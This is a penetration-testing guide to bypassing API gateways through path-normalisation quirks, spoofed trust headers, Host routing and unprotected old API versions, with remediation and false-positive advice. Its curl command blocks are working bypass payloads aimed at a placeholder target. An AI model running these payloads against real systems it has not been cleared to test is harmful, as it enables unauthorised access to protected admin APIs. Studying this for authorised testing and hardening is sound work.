API Gateway Bypass
API gateways and reverse proxies (Nginx, Kong, Envoy, AWS API Gateway) enforce authentication, rate limiting, and routing. Misconfigurations in path normalization, header handling, and routing rules allow attackers to bypass these controls and access unprotected backend APIs directly.
Frameworks: WSTG n/a (v4.2 closest: WSTG-ATHZ-02; v5: WSTG-CONF-13 Path Confusion) · ASVS 5.0 V4.1.3 (also V13.2.4, V8.2.1) · CWE-288, CWE-441 · T1190
Why the Gateway and the Backend Disagree
A gateway and an application server both parse the same request-target, and nothing forces them to
agree. The gateway matches its route and ACL table against the raw string; the framework normalises
first — decoding percent escapes, collapsing dot segments, stripping ; path
parameters, lowercasing — and only then dispatches. Every difference between those two readings is
a bypass candidate. CWE-441 names the result a confused deputy: the gateway is trusted to make the
decision, and the backend executes a different request.
The preconditions are concrete: a control enforced at the edge (authentication, rate limit, WAF
rule, route allowlist) and a backend that accepts the mutated path. ..;/ works because
Tomcat and Spring treat ; as the start of path parameters and strip it after routing,
while many proxies see a literal segment. %252f is decoded once by the proxy and again
by the backend. Neither is a parsing bug on its own — the bug is that one component decides and
another executes.
Path Traversal & Normalization
The dot-segment payloads need curl --path-as-is. Without it curl resolves
/api/./admin/users and /api/admin/../admin/users locally before the
request leaves your machine, so the gateway receives the already-collapsed canonical path and the
test proves nothing. Only the percent-encoded and ; variants survive a default curl
invocation, which is why a scan that omits the flag reports a clean gateway. A positive result is
the protected resource's own body — an admin listing with data. A benign result is a 403 or 404
block page, a redirect to login, or an empty SPA fallback; compare every variant against the
baseline you sent to a path that is definitely blocked.
# API gateway blocks /admin/* but can be bypassed with path confusion:
# --path-as-is is REQUIRED for dot segments: without it curl rewrites
# /api/./admin/users → /api/admin/users and collapses /../ before sending,
# so the test never reaches the gateway as written.
# Double encoding:
curl -s https://target.com/api/..%252f..%252fadmin/users
# Path normalization differences:
curl -s --path-as-is https://target.com/api/./admin/users
curl -s --path-as-is https://target.com/api/admin/../admin/users
curl -s --path-as-is https://target.com/api/%2e%2e/admin/users
curl -s --path-as-is https://target.com/api/..;/admin/users # Tomcat/Spring
curl -s https://target.com/api/admin/users;.json # Semicolon injection
# Trailing characters:
curl -s https://target.com/admin/users/
curl -s https://target.com/admin/users%20
curl -s https://target.com/admin/users%00
curl -s https://target.com/admin/users..json
# Case sensitivity (gateway case-sensitive, backend isn't):
curl -s https://target.com/Admin/users
curl -s https://target.com/ADMIN/users
curl -s https://target.com/aDmIn/users
# HTTP method override:
curl -s -X GET https://target.com/api/admin/users \
-H 'X-HTTP-Method-Override: DELETE'
curl -s -X POST https://target.com/api/admin/users \
-H 'X-HTTP-Method: PUT'Direct Backend Access
Version and route gaps are the highest-yield check, because gateways are configured per route and
per version and old versions outlive their rules. Send a regular user's token to
/api/v1/… while /api/v2/… is the protected surface, then try paths the
gateway has no rule for at all — /api/internal/config, /api/metrics,
/api/debug. A positive result is a 200 containing data or configuration the gateway
would have blocked. A benign result is the gateway's own error page; the Server
header and the error body shape tell you which hop answered.
# Discover backend servers bypassing the gateway:
# Check for internal headers revealing backend info:
curl -sI https://target.com/api/users | grep -iE 'x-backend|x-served|x-upstream|via|x-real'
# Try accessing backend ports directly:
# If you discover internal IPs from headers or SSRF:
curl -s http://10.0.1.50:8080/api/users # No auth required!
# Exploit API version routing gaps:
# Gateway protects /api/v2/* but not /api/v1/*:
curl -s https://target.com/api/v1/admin/users -H 'Authorization: Bearer REGULAR_TOKEN'
# Test unregistered paths:
# Gateway only routes known paths — try undocumented ones:
curl -s https://target.com/api/internal/config
curl -s https://target.com/api/debug
curl -s https://target.com/api/health
curl -s https://target.com/api/metrics
curl -s https://target.com/api/graphql # GraphQL may bypass REST gateway rulesHeader Manipulation
Two mechanisms live here. Trust headers — X-Forwarded-User, X-User-Id,
X-Internal-Auth — are added by the gateway for the backend, so if it forwards a
client-supplied copy instead of overwriting it, the backend believes the attacker. Host-based
routing is the same problem in another field: when the backend trusts the vhost,
Host: internal-admin.target.local can select a different virtual host. A positive
result is an admin response or an identity change; a benign one is a 400 from a strict vhost check.
Always send a control request without the header.
# Bypass authentication at the gateway level:
# Internal trust headers (gateway adds these for backend):
curl -s https://target.com/api/admin/users \
-H 'X-Forwarded-User: admin'
curl -s https://target.com/api/admin/users \
-H 'X-User-Id: 1' \
-H 'X-User-Role: admin'
# If the backend trusts headers added by the gateway:
curl -s https://target.com/api/users \
-H 'X-Internal-Auth: true'
# Host header routing bypass:
curl -s https://target.com/api/admin/ \
-H 'Host: internal-admin.target.local'
# Protocol downgrade:
curl -s http://target.com/api/admin/users # HTTP might skip gateway
# Content-Type confusion:
curl -s https://target.com/api/users \
-H 'Content-Type: application/xml' \
-d '<user><role>admin</role></user>'
# Gateway validates JSON but backend also accepts XMLConfirming the Bypass
Report a bypass only when you can show the same resource twice: blocked through the canonical path,
served through the mutated one, with both request lines and both response bodies. A different error
is not a bypass — a 302 to /login from the backend is still a denial. Strip cookies and
authorisation from the mutated request to prove which control you bypassed; if it still works with
no credentials at all, you have found an unauthenticated endpoint, which is a different and
generally worse finding.
Testing Checklist
- ☐ 1. Identify the gateway/proxy technology from response headers
- ☐ 2. Test path normalization bypass (encoding, traversal, case, trailing chars)
- ☐ 3. Test direct backend access via discovered internal IPs
- ☐ 4. Test internal trust headers (X-Forwarded-User, X-User-Role)
- ☐ 5. Test old API versions that may bypass new gateway rules
- ☐ 6. Test HTTP method override headers
- ☐ 7. Test hostname-based routing bypass via Host header
- ☐ 8. Re-run every dot-segment test with
curl --path-as-is; a default curl collapses the path client-side and never sends the payload - ☐ 9. Capture the blocked baseline and the mutated request side by side, including the response body, not just the status code
Evidence Collection
Bypass Request: HTTP request that circumvents the gateway's protection
Comparison: Side-by-side of blocked request vs bypassed request
Path Form: The exact request-target as sent (percent-encoding and <code>;</code> preserved) plus the gateway/backend that answered each variant
CVSS Range: Auth bypass: 8.1–9.8 | Rate limit bypass: 5.3–7.5
Remediation
- • Normalize paths: Ensure the gateway normalizes all paths before matching routing rules.
- • Backend auth: Never rely solely on gateway auth — implement authentication at the backend service level too.
- • Strip trust headers: Gateway must strip internal headers (X-User-Id, X-Internal-Auth) from external requests.
- • Network segmentation: Backend services should only accept connections from the gateway, not from the internet.
- • Match after normalisation: Decode and canonicalise the path before evaluating access rules, then forward the canonical form so the backend routes on the same string the gateway authorised.
- • Reject ambiguous paths: Refuse request-targets containing encoded separators, dot segments or
;parameters at the edge rather than normalising them into something the backend reads differently.
False Positive Identification
- Direct backend access by design: Some architectures intentionally expose backends alongside the gateway — verify with the client whether direct access is intended.
- Rate limit reset on gateway restart: Rate limits resetting during deployments may be a known limitation, not a bypass — test during steady state.
- Different response ≠ bypass: Getting a different error from the gateway vs. backend doesn't mean auth was bypassed — confirm you accessed protected resources.
- Client-side redirect, not a bypass: A path that returns the SPA shell or a 302 to the login page is a denial. Confirm the response body contains the protected data before reporting it.
- Path collapsed by your own tooling: A dot-segment test that returns the gateway's block page proves nothing if curl normalised the path before sending. Check the raw request in your proxy history.